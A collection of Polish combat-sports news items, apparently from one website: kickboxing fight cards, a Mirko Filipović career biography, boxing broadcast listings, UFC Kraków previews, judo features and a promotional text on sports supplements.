Wszyscy fani podczas gali DSF Kickboxing Challenge: Bitwa w Piasecznie będą mogli obejrzeć również konfrontację z udziałem kobiet. Multimedalistka Dorota Godzina z DSF Kickboxing Team skrzyżuje rękawice Gabrielą Bednarowicz, brązową medalistką Pucharu Polski z 2014 roku w formule low kick. Dla Godziny będzie to dziesiąta walka w karierze. Podopieczna Piotra Siegoczyńskiego jest na zawodowym ringu niepokonana i podczas piaseczyńskiego widowiska zamierza podtrzymać passę zwycięstw. – Znam swoją rywalkę. Jest ode mnie niższa, ale przyzwyczaiłam się już do tego, że mało która przeciwniczka jest mojego wzrostu. Na pewno damy dobrą walkę – opowiada Godzina.
Oprócz trzech głównych walk zobaczymy jeszcze sześć pojedynków z udziałem m.in. Jakuba Bartnika, Lecha Rosińskiego, Sebastiana Adamskiego, Pauliny Frankowskiej i Katarzyny Jaworskiej.
KARTA WALK DSF KICKBOXING CHALLENGE W PIASECZNIE
Walk Wieczoru o pas DSF Challenge:
1. Formuła Full Contact kat. – 81kg: Łukasz Wichowski (DSF Kickboxing Team) vs. Piotr Kołakowski (Zamek Kurzętnik)
Czas walki: 5 rund po 2 minuty
Finał turnieju K-1 kat. -81 kg:
2. Formuła K-1 kat. -81kg: Kamil Ruta (DSF Kickboxing Team) vs. Mateusz Żukowski (Terlik Team Mikołajki)
Czas walki: 3 rundy po 3 minuty
Extrafight:
3. Formuła K-1 kat. -56kg: Dorota Godzina (DSF Kickboxing Team) vs. Gabriela Bednarowicz (SKK-b Kielce)
Czas walki: 3 rundy po 2 minuty
Walki rankingowe Pro-am:
4. Formuła K-1 kat. -81kg: Jakub Bartnik vs. Sebastian Adamski
5. Formuła K-1 kat. -75kg: Mark Kołłątaj vs. Daniel Kolasiński
6. Formuła K-1 kat. -70kg: Maciej Garbaczewski vs. Adrian Kulma
7. Formuła K-1 kat. -75kg: Lech Rosiński vs. Sebastian Prokop
8. Formuła K-1 kat. -70kg: Paulina Frankowska vs. Katarzyna Jaworska
9. Formuła K-1 kat. -67kg: Karol Sadłocha vs. Paweł Nowakowski
informacja prasowa
Chorwacki bokser, Kick-bokser oraz zawodnik MMA urodzony 10 września 1974 roku w Vinkovci. Trenować siłowo zaczął w wieku 11 lat. Jego inspiracją do rozpoczęcia treningów był film Krwawy sport. Jego pierwsze treningi odbywały się w przydomowej szopie. Mirko dorastał w czasach rozpadu Jugosławii i wojny domowej 1991-1995. W tym czasie przeniósł się na pół roku z rodzimej Privlaki do sąsiedniego miasta Varazdin. Na miejscu szukał działającego klubu Kick-boxingu, jednak do wyboru miał tylko kluby boku albo karate. Zdecydował się na karate, jednak nie spodobał mu się sposób treningów. Pewnego dnia zobaczył grupę osób trenujących Kick-boxing. Po uzyskaniu zgody trenera przyłączył się do nich. W 1994 roku zmarł ojciec Mirko. Filipovic odbywał w tedy służbę wojskową, a jego rodzina nie miała za co żyć, gdyż jego ojciec był jedyną osobą pracującą. Mirko złożył podanie, i został przyjęty do Akademii Policyjnej. Został przydzielony do oddziału antyterrorystycznego „ Lucko”. Zarobione pieniądze przeznaczał na utrzymanie rodziny oraz treningi. Ze względu na karierę sportową był często zwalniany z obowiązków służbowych. W zamian do ringu wchodził w koszulce z napisem ATJ LUCKO. W tym oddziale służył przez 6 lat. Dzięki policyjnej karierze nadano mu pseudonim Cro Cop. W K-1 zadebiutował w 1996 roku w wieku 22 lat. Jego trenerem był Branko Cikatic ( zwycięzca K-1 Grand Prix 1993). W swoim pierwszym pojedynku Mirko zmierzył się z finalistą K-1 Grand Prix 1995 Francuzem Jerome „Geronimo” Le Bannerem. Chorwat wygrał pojedynek przez jednogłośną decyzję sędziów. Następną walkę stoczył z Ernesto Hoostem, utytułowanym zawodnikiem boksu tajskiego i K-1. Mirko przegrał tę walkę przez TKO. Wkrótce po tej walce Mirko odszedł na trzy lata z K-1 i rozpoczął karierę amatorską w boskie. Powodem tej decyzji był konflikt z Trenerem Branko Cikaticem. W 1997 roku został mistrzem Chorwacji w wadze superciężkiej w boksie. Zajął również drugie miejsce na międzynarodowym turnieju o Puchar Akropolu, przegrywając w finale na punkty z Paolo Vidozem. Wystąpił także na mistrzostwach Świata w Budapeszcie, z których został wyeliminowany w 1/16 finału przez ówczesnego mistrza świata i Europy Aleksieja Lezina. Rok później ponownie wygrał mistrzostwo kraju i reprezentował Chorwację na mistrzostwach Europy w Mińsku, gdzie przegrał w pierwszej rundzie z Sinanem Samilem Samem. W tym samym roku zdobył brązowy medal na igrzyskach śródziemnomorskich oraz srebrny na mistrzostwach CISM w Niemczech. Do K-1 wrócił w 1999 roku pod okiem Damirema Siserema. W pierwszej walce po powrocie, Mirko znokautował Jana Nortje, po czym stoczył pięć walk, z czego przegrał jedną. Zwycięstwa nad Bernardo, Musashim i Greco doprowadziły go do finału K-1 World GP 1999 w Tokio. W finale zmierzył się z Ernesto Hoostem. Również tym razem Holender okazał się górą. Trzecia walka i trzecia porażka z Ernesto Hoostem miała miejsce rok później w ćwierćfinale K-1 World GP 2000. Pojedynek był bardzo wyrównany i do rozstrzygnięcia potrzebna była dodatkowa runda. Mimo tych porażek Chorwat szybko awansował do grona gwiazd K-1. W 2001 roku najpierw został sensacyjnie znokautowany przez Michaela McDonalda, a później podczas treningu doznał kontuzji, która go wyeliminowała z eliminacji do finału World GP K-1. Zaproponowano mu występ w walce MMA przeciwko zapaśnikowi Kazuyukiemu Fujicie. Po tej walce Mirko podjął decyzję o rozstaniu z Kick-boxingiem i rozpoczęciu kariery w MMA. W 2002 roku stoczył w K-1 jeszcze 3 walki (wygrał z Yanagisawą, Bonjaskym i Huntem), a w swojej ostatniej walce znokautował Boba Sappa. Karierę MMA rozpoczął 19 sierpnia 2001 roku na gali K-1 Andy Hug Memorial. Walczyli tam na specjalnych zasadach Kick-boxerzy z graplerami. Mirko pokonał przez TKO Kazuyukiego Fujitę. W listopadzie 2001 roku zadebiutował w organizacji PRIDE FC, gdzie podczas gali PRIDE 17 zremisował z Nobuhiko Takadą. Po remisie przyszły szybkie zwycięstwa z takimi zawodnikami jak: Igor Wowczanczyn, Heath Herring czy Kazushi Sakuraba. Mirko zremisował także z Wanderleiem Silvą. Zwycięską passę zakończył Antonio Rodrigo „Minotauro” Nogueira, który w walce o tymczasowe mistrzostwo PRIDE w wadze ciężkiej poddał Filipovica. Szansą na odzyskanie miana pretendenta do tytułu miał być dla Chorwata udział w turnieju PRIDE Grand Prix 2004, w którym miało dojść do jego walki z Fiodorem Jemieljianienko. Najpierw jednak Mirko musiał pokonać Kevina Rendlemana. Mimo że był faworytem przegrał przez szybki nokaut. Porażka zmniejszyła szanse na walkę o mistrzostwo, jednak po siedmiu kolejnych zwycięstwach z rzędu, władze PRIDE dały mu szansę na walkę o pas. Walka ta odbyła się w sierpniu 2005 roku. Walka była wyrównana, ale to Rosjanin okazał się lepszy, i to on wygrał przez jednogłośna decyzję sędziów. Następne dwie walki stoczone przez Chorwata były pojedynkami rewanżowymi. Pierwszy pojedynek wygrał z Joshem Barnettem. A drugi przegrał z Markiem Huntem. W 2006 roku Mirko osiągnął swój największy sukces w karierze MMA. Wygrał turniej PRIDE Openweight Grand Prix na którym kolejno wyeliminował Ikuhisę Minowę, Hidehiko Yoshidę, Wanderleia Silvę, a w finale Josha Barnetta. W grudniu 2006 roku podpisał dwuletni kontrakt z UFC. Pierwszą walkę dla UFC stoczył 3 lutego 2007 roku pokonując Eddiego Sancheza. W drugiej walce przegrał z Brazylijczykiem Gabrielem Gonzagą. Trzecią walkę dla UFC również przegrał, co spowodowało odejście Mirko z UFC. 15 marca 2008 roku zadebiutował w DREAM, gdy pokonał przez TKO Tatsuyę Mizuno. W następnej walce zmierzył się z Alistairem Overeemem. Pojedynek został przerwany, gdy kilkukrotnie trafiony kolanem w krocze, Mirko odmówił kontynuowania dalszej walki. Na sylwestrowej gali Dynamite!! 2008. Chorwat zmierzył się z zawodnikiem K-1, Choi Hong-manem. Mirko pokonał go przez TKO. W maju 2009 roku podpisał kontrakt na jedną walkę dla UFC. 13 czerwca w Kolonii stoczył pojedynek z Mostaphą Al-turkiem. Podczas walki Chorwat przy wyprowadzaniu ciosu, niechcący włożył palec w oko rywala. Brytyjczyk , nie będąc w stanie kontynuować pojedynek, odwrócił się plecami do rywala i przyjął kilka ciosów bez odpowiedzi. Sędzia nie dopatrując się faulu przerwał pojedynek i ogłosił zwycięstwo Filipowica przez TKO. Manager Brytyjczyka złożył oficjalny protest, jednak wynik walki się nie zmienił. W Lipcu Mirko podpisał kontrakt na trzy kolejne walki. Pierwszą z nich przegrał przez poddanie z Juniorem Dos Santosem, gdy po jednym z ciosów doznał kontuzji oka. Drugą walkę wygrał przez TKO pokonując Australijczyka Anthonego Peroshema. Cztery miesiące później Chorwat pokonał Patricka Barry’ego przez duszenie zza pleców. Mirko walczył ponownie już we wrześniu, gdy zgodził się zastąpić Antonio Rodrigo Nogueirę w walcę z Frankiem Mirem. Chorwat przegrał przez ciężki nokaut w ostatniej minucie walki. Pół roku później również został znokautowany tym razem przez Brendana Schauba. 29 października odniósł trzecią porażkę z rzędu, przegrywając z Royem Nelsonem. W konsekwencji ogłosił zakończenie kariery MMA. Jednak rok później postanowił wznowić karierę w MMA. 23 sierpnia 2014 roku zdobył pas mistrza Inoki Genome Fight, pokonując złotego medalistę olimpijskiego w Judo, Satoshiego Ishiiego, wskutek głębokiego rozcięcia i niedopuszczenia go do kontynuowania walki. Pas obronił 30 grudnia na sylwestrowej gali Inoki Bom-Ba-Ye nokautując w rewanżowej walce Ishiiego. 10 marca 2012 roku w Zagrzebiu pokonał w walce na zasadach K-1 Raya Sefo. 27 maja na gali K-1 Rising w Madrycie pokonał przez nokaut Hiszpana Lorenzo Javiera Jorge „Lorena”. We wrześniu 2012 roku wystartował w kwalifikacjach do turnieju K-1 World Grand Prix. W pierwszej rundzie turnieju pokonał przez decyzje Amerykanina Randy’ego Blake’a. Finałowa gala odbyła się w Zagrzebiu. Do turnieju zostali zaproszeni min. Badr Hari, Zabit Samiedow czy Hesdy Gerges. W ćwierćfinale Mirko spotkał się z Amerykaninem Jarrellem Millerem, którego pokonał na punkty. W półfinale pokonał na punkty Ukraińca Pawła Żurawiewa. W finale pokonał Ismaela Londta.
Juarez vs Castellanos w eliminatorze do mistrzostwa świata WBC w kategorii piórkowej
Mocny, bokserski tydzień zaczynamy już dzisiaj w nocy transmisją prosto z San Antonio. Pokażemy niesamowicie ciekawą galę grupy “Golden Boy Promotions” Oscara De La Hoyi.Funkcję głównej walki wieczoru spełni eliminator do mistrzowskiego tytułu WBC w kategorii piórkowej. Amatorski mistrz świata i srebrny medalista olimpijski Rocky Juarez skrzyżuje rękawice z meksykańskim “Robin Hoodem” Robinsonem Castellanosem. Juarez tytuł ten wywalczył pokonując w maju ubiegłego roku Rene Alvarado. Ten z kolei sięgnął po pas dzięki zwycięstwu … z Castellanosem. Meksykanin ma więc niepowtarzalną okazję odzyskać trofeum. Amerykanin ma również coś do udowodnienia – jeśli zwycięży, pokona dwóch ostatnich posiadaczy pasa WBC Silver i rozwieje wszelkie wątpliwości, czy to właśnie jemu należy się ten tytuł.
Transmisja z gali w nocy z poniedziałku na wtorek o godzinie 04:00, powtórka o 11:30.
Bokserskie czwartki – Chris Eubank
W ramach cyklu „Bokserskie czwartki” o 22:00 zaprezentujemy w tym tygodniu sylwetkę jednego z najlepszych w historii pięściarzy wagi średniej i junior ciężkiej, Chrisa Eubanka. W sumie stoczył on 52 walk, z których aż 45 rozstrzygał na swoją korzyść. Pierwszą zawodową walkę Brytyjczyk stoczył w 1985 roku, a już pięć lat później – po wygranej z Hugo Antonio Cortim – zdobył pierwszy poważny tytuł, pas WBC International w wadze średniej. Od tamtej walki przez pięć kolejnych lat i dwadzieścia dwa pojedynki konsekwentnie bronił tytułu, oddał go dopiero w 1995 roku minimalnie przegrywając na punkty ze Steve’em Collinsem.
ESPN Friday Night Fights: Karl Dargan – Tony Louis
Z piątku na sobotę o 03:00 (powtórka o 11:30) pokażemy na żywo kolejną galę z cyklu ESPN Friday Night Fights. Będzie to osiemnasty zawodowy pojedynek pochodzącego z Filadelfii Karla Dargana. We wszystkich poprzednich schodził z ringu jako zwycięzca, a w swoich ostatnich walkach pokonał przez nokaut Angino Pereza, Anthony’ego Floresa i Chazza McDowella sięgając przy okazji po wakujący pas NABF Junior oraz po USBA Atlantic Coast Region w wadze lekkiej. Tym razem na ringu skrzyżuje rękawice z Kanadyjczykiem Tonym Louisem, który ostatnią walkę również rozstrzygnął na swoją korzyść. Wygrał w niej z Wanzellem Ellisonem. Kto tym razem okaże się mocniejszy, dowiemy się w najbliższy weekend.
Źródło: materiały prasowe
Zapraszamy do obejrzenia wywiadu z dnia 23 stycznia 2015 r. z Dorotą Godziną tuż po treningu z Karoliną Kowalkiewicz w klubie Gracie Barra w Łodzi. Dorota opowiada nam o planach na przyszłość, pasjach i pomysłach. Zapraszamy.
[kod]
Iwona Nieroda po sukcesie odniesionym podczas mistrzostw świata w Turcji po raz kolejny stanie na placu boju. Polska mistrzyni wystąpi na gali Battle of Warriors Extra.
Nieroda stoczy swój pojedynek 21 lutego w Budzownie. Polka zmierzy się z Niemką Lindą Faysal, która ostatnio walczyła w listopadzie. Podczas gali Heroes Fight Night 4 reprezentująca barwy Ringside Gym Berlin decyzją sędziów pokonała Marinę Kollassę. Niemka będzie zatem kolejnym wyzwaniem w karierze Nierody. Polka ustawicznie buduje swoją pozycję na rynku, a swoją wartość udowadnia podczas największych imprez.
Nieroda ostatnią walkę stoczyła w grudniu. Było to starcie o pas zawodowej Mistrzyni WAKO PRO Low Kick. Nieroda zmierzyła się z Sedą Aygun, którą pokonała przez decyzję sędziów. Po raz drugi w karierze wywalczyła mistrzostwo świata. Jednak teraz musi wrócić do normalnej rywalizacji i zapomnieć o historii, która miała miejsce w Turcji. Wszyscy jesteśmy dumni, iż Nieroda jest mistrzynią świata, jednak zawodniczka dalej musi się rozwijać.
W kolejnej walce jej celem jest wygrana. Polka musi przystąpić do rywalizacji z Niemką w pełni skoncentrowana i gotowa na zabójczą wymianę. Z pewnością Faysal tanio skóry nie sprzeda. Obie zawodniczki przystępują do walki z podobnej pozycji. Zarówno Nieroda jak i Faysal wrócą do rywalizacji po około trzech miesiącach. Czy będą głodne walki i rzucą się na siebie? Raczej nie. W końcu staną naprzeciw siebie zawodniczki o określonym potencjale, które w swojej karierze toczyły już pojedynki o wysokim ciężarze. Nieroda i Faysal zmierzą się w jednej z walk wieczoru, więc oczekiwania, co do ich występu są ogromne. Fighterki mają pokazać się z jak najlepszej strony i zrobić show.
Niemiecka solidność i precyzja kontra polska mistrzyni, niezwykle szybka i zwinna. Kto wyjdzie zwycięstwo z tej rywalizacji? Polka ustawicznie rozwija się. Po bogatej karierze amatorskiej bardzo dobrze radzi sobie na poziomie zawodowym. Dwukrotne zdobycie mistrzostwa świata WAKO PRO Low Kick w kategorii do 56 kg mówi samo za siebie. Nieroda znalazła się na szczycie, ale musi pokonywać kolejne szczeble na swojej zawodowej drodze. Nieroda jest zawodniczką młodą, przed którą jeszcze wiele walk. Rywalizacja z Lindą Faysal pokaże w jakim miejscu znajduje się polska mistrzyni.
21 lutego w Budzownie Iwona Nieroda stanie przed kolejnym wyzwaniem. Kolejny występ Polki na wielkiej gali, podczas której stanie naprzeciw zawodniczki z Niemiec Lindy Faysal. Czy fighterka Ringside Gym Berlin zagrozi Nierodzie? Zapowiada się interesujący pojedynek polsko – niemiecki? Z pewnością zawsze walki między tymi nacjami będą budzić ogromne emocje. Czy Nieroda tak jak polscy piłkarze pokona rywalkę zza zachodniej granicy? W przeciwieństwie do naszych futbolistów nasza fighterka będzie faworytką w tym starciu.
KM
Przy każdej możliwej okazji podkreślamy, że w 2014 roku polskie judo zrobiło krok do przodu. Widoczny jest postęp. Postęp, który daje nadzieję na odrodzenie polskiego judo i upragniony medal olimpijski.
Bardzo dobre występy biało-czerwonych odbiły się szerokim echem. Od dawien dawna Polacy nie osiągali takich sukcesów w judo. Cieszyliśmy się dobrymi występami na Pucharach Świata i Grand Slamach. Po jedenastu latach oczekiwaniach wreszcie zdobyliśmy upragniony medal mistrzostw świata. W Czelabińsku po brąz sięgnęła Katarzyna Kłys. Ponadto, z mistrzostw Europy przywieźliśmy dwa medale. Brąz wywalczyła indywidualnie Agata Ozdoba, drugi krążek to dzieło naszej żeńskiej ekipy. Wokół występów naszych reprezentantów narodziła się aura sukcesu. Sukcesu, który odmieniany jest już przez wszystkie przypadki i ma trwać, a jego kulminacja ma przypaść na Igrzyska Olimpijskie w Rio de Janeiro.
Dokonania polskich judoków zostały zauważone. Na rok 2015 Polski Związek Judo otrzymał ze środków budżetu państwa dofinansowanie w wysokości 2 560 761 zł, a ze środków FRKF – 2 105 958 zł. Z pewnością pieniądze te są niezwykle potrzebne. Na bieżącą działalność związku, na wypłaty dla szkoleniowców i sztabów, na wyjazdy zagraniczne oraz organizację imprez. Sam fakt, że kwoty te są większe niż rok temu pokazuje, iż sukces polskiego judo jest widoczny.
Stan finansów Polskiego Związku Judo również uległ zmianie. Dług jest stopniowo obniżany i sytuacja finansowa organizacji wygląda coraz lepiej. Z tym, że obecnie w PZJudo sytuacja jest trudna. Wszyscy czekają do 8 marca, kiedy to odbędzie się Nadzwyczajny Kongres Polskiego Związku Judo w celu wyboru nowego zarządu. Na poziomie sportowym wszystko jest w najlepszym porządku, pozostaje tylko kwestia ułożenia i uporządkowania stanu na płaszczyźnie formalnej.
Judo znalazło się w punkcie, który daje nadzieję na rozwój dyscypliny w Polsce. Coraz większa liczba dzieci uczęszcza na treningi, pojawiają się kolejne sukcesy. Judo staje się w Polsce popularne i trafia pod strzechy. Na poziomie sportowym widoczny jest progres. Progres, który przełożył się na kwestie finansowe. Wiadomo, że w sporcie jakim jest judo każdy grosz się liczy. Dla naszych zawodników oznacza jest to szansa na lepsze warunki treningowe. Polskie judo zrobiło krok do przodu. Na płaszczyźnie sportowej.
Pozostaje uporządkowanie kwestii formalnych. Potrzeba kogoś, kto wprowadzi porządek i umiejętnie rozdysponuje otrzymane środki. Polski Związek Judo potrzebuje jasnego oraz przejrzystego planu budżetowego. Konieczne jest stworzenie planu, który pozwoli naszej reprezentacji należycie przygotować się do Igrzysk Olimpijskich w Rio de Janeiro. Na obecnym etapie najważniejsze jest, aby nie zmarnować kapitału, który został wytworzony. Polskie judo staje przed ogromną szansą. Szansą, która jest efektem długiej, ciężkiej i często mozolnej pracy. Pracy dającej efekt.
KM
Starczy! Dość! Jeszcze nie! UFC z każdym kolejnym dniem dostarcza nam kolejnych gorących informacji. Największa organizacja mieszanych sztuk walki uchyliła rąbek tajemnicy w kontekście zaplanowanej gali w Polsce. 11 kwietnia w walce wieczoru w Arenie Kraków wystąpi Mirko Filipović.
Od kilku dni fani mieszanych sztuk walki w Polsce żyją tą informacją. UFC zorganizuje w kwietniu swoją galę w Krakowie. Ogromne wyróżnienie, ogromna radość, ogromna szansa, ogromne emocje. Wszystko ogromne. Odkładając emocje na bok należy stwierdzić, że jest to sukces. Sukces, który może przynieść zysk. Nie tylko materialny i nie wyłącznie na polu mieszanych sztuk walki. Kwestię tę należy potraktować szerzej.
Na pewno podczas gali w Krakowie w akcji zobaczymy Jana Błachowicza, który staje się wizytówką Polski w UFC. Do tej pory jedna walka, ale bardzo efektowna. Znamy doskonale możliwości „Johna” i jego charakter, co pozwala stwierdzić, że ma predyspozycje by na dłużej zagościć w najlepszej organizacji mieszanych sztuk walki na świecie. Dla polskich kibiców to dodatkowy bodziec emocjonalny zobaczyć swojego reprezentanta podczas takiej imprezy. Z pewnością Błachowiczowi podczas występu serce szybciej zabije. Nie tylko z wysiłku. Przypomnijmy – rywalem Polaka będzie Jimi Manuwa.
A kto będzie rywalem Mirko Filipovicia? Tego pana przedstawiać nie trzeba. Wybitny zawodnik kickboxingu i MMA zaprezentuje się polskiej publiczności. Filipović zmierzy się z Gabrielem Gonzagą. Panowie mają ze sobą rachunki do wyrównania. Niektórzy z pewnością nie pamiętają, bo fighterzy swój pojedynek stoczyli dawno, dawno temu. Wtedy jeszcze dzieci quadów na komunię nie dostawały. Podczas UFC 70, czyli w kwietniu 2007 roku, Gonzaga potężnym kopnięciem na głowę zakończył pojedynek z Filipoviciem. Po ośmiu latach przyjdzie stoczyć im rewanż.
Filipović to nazwisko. Bez wątpienia i na tym z pewnością bazuje organizator. 40-letni gwiazdor ostatni pojedynek w UFC stoczył w 2011 roku. Filipović zanotował trzy porażki z rzędu i postanowił się wycofać. Myślał o zakończeniu kariery i nawet rozpoczął odpoczynek od zmagań, ale postanowił wrócić. Brał udział w galach, toczył kolejne pojedynki. W czerwcu ubiegłego roku na Glory 17 pokonał Jarella Millera w walce na zasadach K-1.Teraz ponownie zaprezentuje się na gali UFC.
Z jednej strony atrakcją jest zobaczyć w akcji tak znanego zawodnika. Z drugiej warto zauważyć, że Chorwat rozpoczął już odcinanie kuponów od bogatej kariery i jego poziom sportowy daleki jest od idealnego. Ludzie przyjdą zobaczyć w akcji Błachowicza. Filipović może być dodatkiem. Nazwiskiem, które przyciągnie i przykuje uwagę. Gala UFC w Polsce będzie ogromnym wydarzeniem, ale publiczność nie da sobie zamydlić oczu podstarzałym gwiazdorem. Polacy mają swojego idola, za którego będą trzymać kciuki.
KM
Takie historie krzepią serce i dają nadzieję. Pokazują, że warto walczyć i trzeba być zdeterminowanym, nie ustępować ani na krok. Historia Alicji Romanowskiej, która na co dzień jest pielęgniarką to idealny przykład wartości jaką niesie ze sobą sport. W tym przypadku – judo.
Alicja Romanowska pracuje jako pielęgniarka na Oddziale Neurochirurgii w szpitalu wojewódzkim w Elblągu. Od dziecka fascynowała się judo i doskonaliła swoje umiejętności w tej materii. Osiągnęła bardzo wysoki poziom – posiada czarny pas mistrzowski. Judo jest pasją Alicji Romanowskiej. Pasją, która pomogła przetrwać ciężkie chwile. Dwa lata temu usłyszała diagnozę, która była dla niej wielkim szokiem. Rak z przerzutami.
Trening judo. Gorsze samopoczucie, chwila słabości. Nie było sensu czekać. Alicja Romanowska trafiła do szpitala, gdzie dowiedziała się o swojej chorobie. Od razu trafiła na stół operacyjny. Potem była chermioterapia i walka. Co w takiej sytuacji robić? Jak żyć? Nie poddawać się. Łatwo się mówi. Jednak Alicja Romanowska znalazła w sobie ogromną siłę. Miała wsparcie w rodzinie, koleżankach z pracy i opiekowali się wybitni specjaliści. Sama nie zamierzała bezczynnie siedzieć. Wróciła do treningów. To dawało jej siłę i pokazywało, że można. Istotny był również powrót do pracy. Alicja Romanowska nie oszczędzała się, wróciła do normalnego funkcjonowania. Czerpała z życia i cieszyła się nim, ale równocześnie toczyła walkę z chorobą.
Nie poddała się. Podjęła walkę. Fakt, że trenuje judo jest dla niej niezwykle istotny. Okazuje się, że ten sport stał się dla Alicji Romanowskiej swego rodzaju terapią i zarazem wyzwaniem. Judo pomogło jej w trudnych chwilach. Prawdziwa pasja.Alicja Romanowska zachwyca aktywnością. Postanowiła otworzyć własną szkołę samoobrony. Chce pomóc kobietom odkryć w sobie siłę i pragnie zarazić je swoją pasją. W ten sposób wykorzystuje swój talent, pogłębia swoją pasję i pomaga innym. A także sobie. Warto dodać, że Alicja Romanowska dzieli się swoją pasją także na płaszczyźnie rodzinnej. Również jej dzieci trenują judo.
Czasami w życiu stajemy przed sytuacjami, które wprawiają nas dosłownie w osłupienie. Stajemy i zadajemy sobie pytanie: co dalej? Historia Alicji Romanowskiej pokazuje, że trzeba podjąć wyzwanie i walczyć. Dla siebie, dla bliskich. Trzeba żyć. Piękne jest to, że pani Alicja znalazła siłę w judo, z którym związana jest od dziecka. Widać, że pasja może pomóc. Judo jest pięknym sportem. Ktoś, kiedyś powiedział, że judo to życie. Jak widać miał rację. Łagodna droga, która nie jest usłana różami, ale jest ogromną wartością. Wyraźnie widać wpływ judo na życie oraz postawę osoby, która znajduje się w trudnym położeniu. Sport pomaga przełamywać bariery i słabości. Każdy trening, każde wejście na matę sprawia, że człowiek podejmuje wyzwanie. Judo jest piękną dyscypliną, w której zaszczepione są szlachetne wartości. Dla wielu jest czymś więcej. Czymś, co daje siłę. Czymś więcej.
KM
UFC na polskim rynku! Największa organizacja mieszanych sztuk walki na świecie na 11 kwietnia zaplanowała swoją galę w Krakowie.
Dla polskich fanów z pewnością będzie to ogromna gratka. O planach organizacji gali UFC w Polsce mówiło się od pewnego czasu. UFC doceniło nasz kraj i włodarze zdecydowali, że impreza odbędzie się w kwietniu w Krakowie. Mimo wszystko należy postawić pytanie – czy to ukłon w stronę Polski? A może po prostu – dalsza ekspansja biznesowa? UFC jest produktem wszechobecnym, który trafia do społecznej świadomości. Niemalże każdy zna nazwę organizacji, co podkreśla jej potencjał, a także daje ogromne możliwości. UFC bazuje na swojej pozycji, którą chce wykorzystywać. Największa organizacja mieszanych sztuk walki rusza w świat, aby podbijać kolejne rynki.
Dla Polski sytuacja również ma istotne znaczenie. Nasz kraj będzie miejscem imprezy największej organizacji mieszanych sztuk walki na świecie. Sam fakt, że UFC decyduje się na Polskę pokazuje, że zostaliśmy określeni jako miejsce pewnego dobrobytu oraz potencjału. Warto podkreślić, że sama gala może być dobrą reklamą dla naszego kraju. Na zawodach zjawią się fani MMA, być może docenią wartości turystyczne Polski. Z pewnością gala wpłynie na wzrost wartości naszej ojczyzny. Należy pamiętać o tym, że UFC gra o swój interes, ale z drugiej strony nam pomaga. Takie imprezy mogą wypromować Polskę i sprawić, iż organizatorzy innych gal zwrócą swoje oczy w kierunku Polski.
Radość, której kulminacja nastąpi 11 kwietnia. Wtedy to w Krakowie zobaczymy najlepszych fighterów. Wśród nich Jan Błachowicz, który zmierzy się z Jimi Manuwą. Popularny „John” debiutował w UFC w październiku zeszłego roku, kiedy pewnie pokonał Ilira Latifiego. Błachowicz pokazał się z dobrej strony i zrobił wrażenie na obserwatorach. Teraz dostaje szanse zaprezentowania się przed własną publicznością. Z pewnością to niezwykle ważne dla Błachowicza, ale czy taka presja nie sparaliżuje fightera? Zawodnik o takim potencjalne nie może mieć takich problemów. Kłopotów Błachowiczowi może dostarczyć jego kwietniowy rywal. Jimi Manuwa to mocny przeciwnik, który znany jest z silonych dłoni. 34-latek miał walczyć w grudniu, ale z powodu kontuzji nie mógł zmierzyć się z Mauricio Ruą. Manuwa pokazał się w UFC z dobrej strony. Do tej pory wygrał trzy walki- wszystkie przez TKO. Pierwsza porażka przyszła w kwietniu ur. podczas UFC Fight Night w Londynie. Manuwa przegrał z Aleksandrem Gustaffsonem. Błachowicz dostaje mocnego rywala, z którym czeka go ciężka przeprawa. Wsparcie polskiej publiczności z pewnością będzie cenne dla „Johna”.
Niewykluczone, że podczas krakowskiej gali zobaczymy innych reprezentantów Polski. Pojedynek Błachowicza ma być drugą walką wieczoru. Wielka radość dla fanów mma w Polsce, wyróżnienie i zarazem szansa na promocję dla naszego kraju. 11 kwietnia, Kraków Arena –MMA na najwyższym poziomie. Z Błachowiczem w roli głównej.
KM
Wszelkie dostępne dziś na rynku odżywki i suplementy diety, które to są przeznaczone dla sportowców zawierają w swoim składzie substancje mobilizujące organizm, aby o wiele szybciej mógł spalać on tłuszcz. Odżywki te często znane są, więc także, jako „spalacze tłuszczu”. Istnieją jednak także te suplementy diety, jakie to przyczyniają się do budowania tkanki mięśniowej, zaś one znane są nam pod pojęciem odżywki na masę.
Oczywiście doskonale wiemy, że owe suplementy są dostępne bez recepty albowiem nie są to sterydy anaboliczne, przez co można je legalnie kupić. Nie są one także pro hormonami, które to uznane są w sporcie za doping, przez co nie można ich stosować. Odżywki dla sportowców maja jednak inny charakter albowiem w żadnym stopniu nie wpływają na gospodarkę hormonalną zaś, jeżeli są zawsze spożywane w zalecanych ilościach nie są szkodliwe dla zdrowia. Takie odżywki cieszą się szczególnym powodzeniem wśród mężczyzn, ale także coraz częściej sięgają po nie kobiety.
Suplementy diety dla aktywnych
Odżywki oraz suplementy, jakie to są przeznaczone dla sportowców są legalne a także dostępne substancje, które to mają różnorodne działanie. Pierwszym rodzajem są odżywki dla sportowców, czyli takie substancje, które to mobilizują nasz organizm do szybszego spalania tłuszczu, zaś innym odżywki na masę, które to sprawiają, że o wiele szybciej następuje rozwój tkanki mięśniowej. Jednakże musimy wiedzieć, że żadna z tych substancji nie działa bez dodatkowych wysiłków. Z całą pewnością, jeśli zażywamy odżywki musimy także zastanowić się nad adekwatnie dobraną dietą, a także nad aktywnością fizyczną. Suplementy diety jedynie wspomagają nasze wysiłki i zapewniają nam o wiele szybsze rezultaty. Suplementem diety jest także synefryna, która to działa bardzo podobnie jak kofeina. Tym samym zwiększa się energia, przyśpiesza praca metabolizmu, a to sprawia, że następuje także większa szybkość spalania kalorii. Co więcej dzięki tej odżywce zmniejsza się także nasz apetyt. Dzięki tym zaletom substancja ta bardzo często stosowana jest w naszej diecie, jednakże warto pamiętać, aby stosować ją zawsze z umiarem. Jeśli zbyt dużo zażyjemy owej substancji może dojść do palpitacji serca, drżenia rąk, a także skoków ciśnienia. Powszechnie stosowane w diecie sportowców są także preparaty, które to zawierają chrom. Ma on wiele zalet, ale przede wszystkim poprawia nasz metabolizm, a tym samym przyśpiesza proces chudnięcia.
Odżywki dla sportowców
